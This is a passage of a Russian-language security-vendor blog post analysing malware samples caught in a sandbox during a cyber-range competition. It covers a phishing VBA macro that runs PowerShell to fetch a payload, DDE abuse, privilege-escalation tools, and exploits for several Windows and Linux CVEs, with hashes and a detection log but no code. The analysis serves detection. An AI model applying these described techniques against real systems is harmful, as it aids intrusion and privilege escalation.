21 мая в полночь пришло письмо с фишинговой ссылкой и вложением, представляющим собой офисный документ, якобы резюме:

myCV (2).doc

Рисунок 24. Фишинговое письмо с вредоносным вложением, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 24. Фишинговое письмо с вредоносным вложением, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0

Офисный документ содержит VBA-макрос. В результате исполнения будет запущен подпроцесс PowerShell, который загрузит и запустит исполняемый файл по ссылке. Отметим пару интересных моментов:

  1. Загруженная полезная нагрузка будет размещена в каталоге планировщика задач с именем, похожим на легитимный процесс в системе svchost.exe (атакующие убрали букву c в имени файла).

  2. Имя домена управляющего сервера позволяет провести атрибуцию образца с одной из команд участниц соревнования.

    Рисунок 25. VBA-макрос в офисном документе с ссылкой на полезную нагрузку, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 25. VBA-макрос в офисном документе с ссылкой на полезную нагрузку, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0
Рисунок 26. Фрагмент строк полезной нагрузки с адресом управляющего сервера, SHA256: 0c4c4bf3caae1db3f39aeb0b39bc3c7915aaf90651362630f56b43661c5d6748Рисунок 26. Фрагмент строк полезной нагрузки с адресом управляющего сервера, SHA256: 0c4c4bf3caae1db3f39aeb0b39bc3c7915aaf90651362630f56b43661c5d6748

Что касается обнаружения в PT Sandbox: при статическом анализе вновь обнаруживается вредоносный код в макросе офисного документа:

Рисунок 27. Статический детект YARA-правилами офисного документа, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 27. Статический детект YARA-правилами офисного документа, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 28. Поведенческий детект офисного документа и полезной нагрузки Goagent, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 28. Поведенческий детект офисного документа и полезной нагрузки Goagent, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0 
{"count": 1,"process.id": "1848","process.name": "windows\\tasks\\svhost.exe","detect.name": "Trojan-Downloader.Win32.Generic.a","unixtime": "1621546131.952323","_rule": "Trojan_Downloader.Win32.Generic.a","s_msg": "REMOTE [PTsecurity] Goagent","correlation_name": "Trojan_Downloader.Win32.Generic.a","detect.type": "malware"}

А что еще?

Следующие образцы встречались в меньшем количестве, но от этого они не становятся менее значимыми. Давайте бегло посмотрим, а что мы поймали еще?

beRoot.pdf

SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7

19 мая в 11:43 в сетевом трафике был перехвачен файл с расширением .pdf. На самом деле это исполняемый PE-файл. В результате запуска в песочнице было обнаружено обобщенное вредоносное поведение.

Рисунок 29. Результат поведенческого анализа beRoot.pdf, SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7Рисунок 29. Результат поведенческого анализа beRoot.pdf, SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7

Впрочем, фрагменты видеозаписи могут служить подсказкой для дальнейшего анализа:

Рисунок 30. Фрагмент видеозаписи поведенческого анализа, SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7Рисунок 30. Фрагмент видеозаписи поведенческого анализа, SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7

Чуть более глубокий анализ подсказал, что образец представляет собой скомпилированную программу на языке Python с применением утилиты PyInstaller. А сама программа инструмент BeRoot, позволяющий искать недочеты в системе для подсказки, каким образом можно повысить привилегии пользователя. Впрочем, название инструмента уже содержалось в имени перехваченного образца.

Password Changing Procedure.docx

SHA256: cc8ddc535f2f3a86a3318fe814e7d0ba7bf3790b4db33bb5ee4ec92b7425f0f5

Рисунок 31. Злоупотребление механизмом DDE для запуска вредоносного кода, SHA256: cc8ddc535f2f3a86a3318fe814e7d0ba7bf3790b4db33bb5ee4ec92b7425f0f5Рисунок 31. Злоупотребление механизмом DDE для запуска вредоносного кода, SHA256: cc8ddc535f2f3a86a3318fe814e7d0ba7bf3790b4db33bb5ee4ec92b7425f0f5Рисунок 32. Загружаемый скрипт PowerShell, SHA256: 513d0a5fdaae239b6fed6e68c84110b03b18b49979f9b7d45d6f7a177ba5e634Рисунок 32. Загружаемый скрипт PowerShell, SHA256: 513d0a5fdaae239b6fed6e68c84110b03b18b49979f9b7d45d6f7a177ba5e634

Поиск в интернете по фрагментам строк приводит к проекту unicorn (не путать с известным эмулятором бинарного кода), который предназначен для внедрения шеллкода с использованием PowerShell: в частности, промежуточного загрузчика фреймворков Cobalt Strike и Metasploit, рассмотренных ранее.

winPEASx64.exe

SHA256: e3887380828847c4ff55739d607a4f1a79c8a685e25c82166ee1f58d174df9db

Рисунок 33. Обнаруженный эксплойт повышения привилегий, SHA256: e3887380828847c4ff55739d607a4f1a79c8a685e25c82166ee1f58d174df9dbРисунок 33. Обнаруженный эксплойт повышения привилегий, SHA256: e3887380828847c4ff55739d607a4f1a79c8a685e25c82166ee1f58d174df9db

Это утилита WinPEAS инструмент ищет в системе векторы для локального повышения привилегий пользователя в системе. В некотором смысле схож с ранее рассмотренным BeRoot.

SharpHound.exe

SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863

Рисунок 34. Фрагмент строк в исполняемом файле, SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863Рисунок 34. Фрагмент строк в исполняемом файле, SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863Рисунок 35. Статический детект SharpHound в PT Sandbox, SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863Рисунок 35. Статический детект SharpHound в PT Sandbox, SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863

/dirty

SHA256: 38097f9907bd43dcdaec51b89ba90064a8065889eb386ee406d15aadc609d83f

Если есть разведка и поиск способов повысить привилегии должны быть инструменты, позволяющие этим воспользоваться. 20 мая в 13:06 в сетевом трафике перехвачен исполняемый файл под платформу Linux, который представляет собой эксплойт для уязвимости CVE-2016-5195 в ядре Linux, известной также как Dirty COW.

Рисунок 36. Фрагмент строк из эксплойта CVE-2016-5195, SHA256: 38097f9907bd43dcdaec51b89ba90064a8065889eb386ee406d15aadc609d83fРисунок 36. Фрагмент строк из эксплойта CVE-2016-5195, SHA256: 38097f9907bd43dcdaec51b89ba90064a8065889eb386ee406d15aadc609d83f

CVE-2018-8120.exe

SHA256: 07191e65af30541f71e876b6037079a070a34c435641897dc788c15e5f62f53c

Еще один эксплойт, полученный из сетевого трафика 21 мая в 11:34. Несложно догадаться и по его названию, что это повышение привилегий в системе Windows с использованием уязвимости CVE-2018-8120 в графической подсистеме.

Рисунок 37. Фрагмент строк из эксплойта CVE-2018-8120, SHA256: 07191e65af30541f71e876b6037079a070a34c435641897dc788c15e5f62f53cРисунок 37. Фрагмент строк из эксплойта CVE-2018-8120, SHA256: 07191e65af30541f71e876b6037079a070a34c435641897dc788c15e5f62f53c

BitsArbitraryFileMoveExploit.exe

SHA256: 5b9407df404506219bd672a33440783c5c214eefa7feb9923c6f9fded8183610

И напоследок пример еще одного обнаруженного эксплойта. 21 мая в 11:26 все так же, из сетевого трафика, извлечен исполняемый файл, использующий на этот раз уязвимость CVE-2020-0787 в сервисе Windows Background Intelligent Transfer Service (BITS).

Рисунок. 38. Фрагмент строк из эксплойта CVE-2020-0787, SHA256: 5b9407df404506219bd672a33440783c5c214eefa7feb9923c6f9fded8183610Рисунок. 38. Фрагмент строк из эксплойта CVE-2020-0787, SHA256: 5b9407df404506219bd672a33440783c5c214eefa7feb9923c6f9fded8183610

Кстати, недавно на одном из наших вебинаров мы обсуждали приемы обнаружения эксплойтов повышения привилегий в общем случае рекомендуем ознакомиться, если не видели.

Заключение

В качестве итога приведем диаграмму, которая отражает статистику распределения детектов при использовании нескольких технологий защиты.

Рисунок 39. Распределение детектов между технологиями обнаружения вредоносного ПОРисунок 39. Распределение детектов между технологиями обнаружения вредоносного ПО

В сравнении с предыдущим соревнованием мы видим, что наша внутренняя экспертиза в продукте расширила горизонт покрытия определяемого ВПО. Мы продолжаем развивать наши технологии обнаружения вредоносного ПО и держать руку на пульсе современных актуальных угроз.

Автор: Алексей Вишняков, руководитель отдела обнаружения вредоносного ПО компании Positive Technologies

Подробнее..
Категории: Информационная безопасность , It-инфраструктура , Блог компании positive technologies , Спортивное программирование , Вредоносы , Взлом , Песочница , Хакеры , Вредоносное по , The standoff , Standoff , Цифровые двойники

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru